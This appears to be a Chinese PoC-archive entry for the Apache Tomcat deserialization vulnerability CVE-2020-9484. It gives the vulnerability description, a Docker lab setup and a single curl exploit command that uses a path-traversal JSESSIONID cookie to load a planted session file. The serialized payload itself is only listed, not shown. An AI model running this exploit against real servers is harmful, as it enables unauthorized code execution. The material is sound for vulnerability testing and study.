POC详情： d09e65232d1ff333c046f5ff9316662f29de625a

来源
https://github.com/ColdFusionX/CVE-2020-9484
关联漏洞
标题： Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
描述：Apache Tomcat是美国阿帕奇（Apache）基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。 Apache Tomcat中存在代码问题漏洞。攻击者可通过控制服务器上文件的内容和名称等方法利用该漏洞执行代码。以下产品及版本受到影响：Apache Tomcat 10.0.0-M1版本至10.0.0-M4版本，9.0.0.0.M1版本至9.0.43之前版本，8.5.0版本至8.5.63之前版本，7.0.0版本至7.0.108之前版本。
描述
POC - Apache Tomcat Deserialization Vulnerability (CVE-2020-9484)
介绍
# Apache Tomcat Deserialization Vulnerability (CVE-2020-9484)

## Vulnerable target setup 
- Clone this repository
- Run `docker-compose up -d`
- That's it !

## Exploit POC

- Run `curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx`

![poc](https://github.com/ColdFusionX/CVE-2020-9484/blob/main/poc.png)

- File named `coldfx` gets created in `tmp` directory
文件快照

 [4.0K]  /data/pocs/d09e65232d1ff333c046f5ff9316662f29de625a
├── [3.1K]  cfx.session
├── [596K]  commons-collections4-4.0.jar
├── [1.4K]  context.xml
├── [ 477]  docker-compose.yml
├── [ 389]  index.jsp
├── [445K]  poc.png
└── [ 411]  README.md

0 directories, 7 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。